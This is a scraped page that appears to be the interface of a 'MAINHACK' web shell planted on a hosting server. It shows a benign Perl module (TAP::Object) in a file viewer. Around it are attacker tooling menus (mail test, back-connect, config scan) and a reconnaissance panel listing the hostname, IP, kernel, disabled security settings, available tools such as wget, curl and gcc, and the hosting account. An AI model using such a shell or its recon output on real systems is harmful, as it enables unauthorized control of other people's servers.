[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Object.pm
File is not writable. Editing disabled.
package TAP::Object; use strict; use vars qw($VERSION); =head1 NAME TAP::Object - Base class that provides common functionality to all C<TAP::*> modules =head1 VERSION Version 3.28 =cut $VERSION = '3.28'; =head1 SYNOPSIS package TAP::Whatever; use strict; use vars qw(@ISA); use TAP::Object; @ISA = qw(TAP::Object); # new() implementation by TAP::Object sub _initialize { my ( $self, @args) = @_; # initialize your object return $self; } # ... later ... my $obj = TAP::Whatever->new(@args); =head1 DESCRIPTION C<TAP::Object> provides a default constructor and exception model for all C<TAP::*> classes. Exceptions are raised using L<Carp>. =head1 METHODS =head2 Class Methods =head3 C<new> Create a new object. Any arguments passed to C<new> will be passed on to the L</_initialize> method. Returns a new object. =cut sub new { my $class = shift; my $self = bless {}, $class; return $self->_initialize(@_); } =head2 Instance Methods =head3 C<_initialize> Initializes a new object. This method is a stub by default, you should override it as appropriate. I<Note:> L</new> expects you to return C<$self> or raise an exception. See L</_croak>, and L<Carp>. =cut sub _initialize { return $_[0]; } =head3 C<_croak> Raise an exception using C<croak> from L<Carp>, eg: $self->_croak( 'why me?', 'aaarrgh!' ); May also be called as a I<class> method. $class->_croak( 'this works too' ); =cut sub _croak { my $proto = shift; require Carp; Carp::croak(@_); return; } =head3 C<_confess> Raise an exception using C<confess> from L<Carp>, eg: $self->_confess( 'why me?', 'aaarrgh!' ); May also be called as a I<class> method. $class->_confess( 'this works too' ); =cut sub _confess { my $proto = shift; require Carp; Carp::confess(@_); return; } =head3 C<_construct> Create a new instance of the specified class. =cut sub _construct { my ( $self, $class, @args ) = @_; $self->_croak("Bad module name $class") unless $class =~ /^ \w+ (?: :: \w+ ) *$/x; unless ( $class->can('new') ) { local $@; eval "require $class"; $self->_croak("Can't load $class") if $@; } return $class->new(@args); } =head3 C<mk_methods> Create simple getter/setters. __PACKAGE__->mk_methods(@method_names); =cut sub mk_methods { my ( $class, @methods ) = @_; for my $method_name (@methods) { my $method = "${class}::$method_name"; no strict 'refs'; *$method = sub { my $self = shift; $self->{$method_name} = shift if @_; return $self->{$method_name}; }; } } 1;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A